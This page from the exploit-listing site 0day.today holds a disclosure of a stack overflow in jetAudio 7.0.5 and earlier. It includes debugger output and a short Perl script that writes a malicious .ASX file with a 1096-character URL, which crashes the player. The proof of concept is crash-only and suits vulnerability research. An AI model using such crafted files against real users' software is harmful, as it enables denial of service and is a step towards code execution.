0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow Exploit PoC
[==========================================================
jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow Exploit PoC
==========================================================
Application: jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow
Web Site: http://www.cowonamerica.com/download/
Platform: Windows
Bug:Remote Stack Overflow
Extension: ASX
special condition: none
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
===========
1) Introduction
===========
A nice introduction to jetaudio can be found : http://www.cowonamerica.com/products/jetaudio/
======
2) Bug
======
When parsing an asx file with a long URL a stack overflow occurs.
=====
3)Proof of concept
=====
Proof of concept example :
An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the program
Here's the debugger output:
Access violation - code c0000005
eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001
eip=00441dad esp=0012cf3c ebp=00000001 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
JetAudio!CxImage::`copy constructor closure'+0x1109d:
00441dad 8b06 mov eax,[esi] ds:0023:41414141=????????
Here's the the Poc :
#!/usr/local/bin/perl
use strict;
use warnings;
my $file="myfile.asx";
my $payload = "A" x 1096;
open( $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://".$payload;
close($FILE);
print "$file has been created \n";
=====
5)Credits
=====
laurent gaffie
laurent.gaffie{remove_this}[at]gmail[dot]com
# 0day.today [2024-11-16] #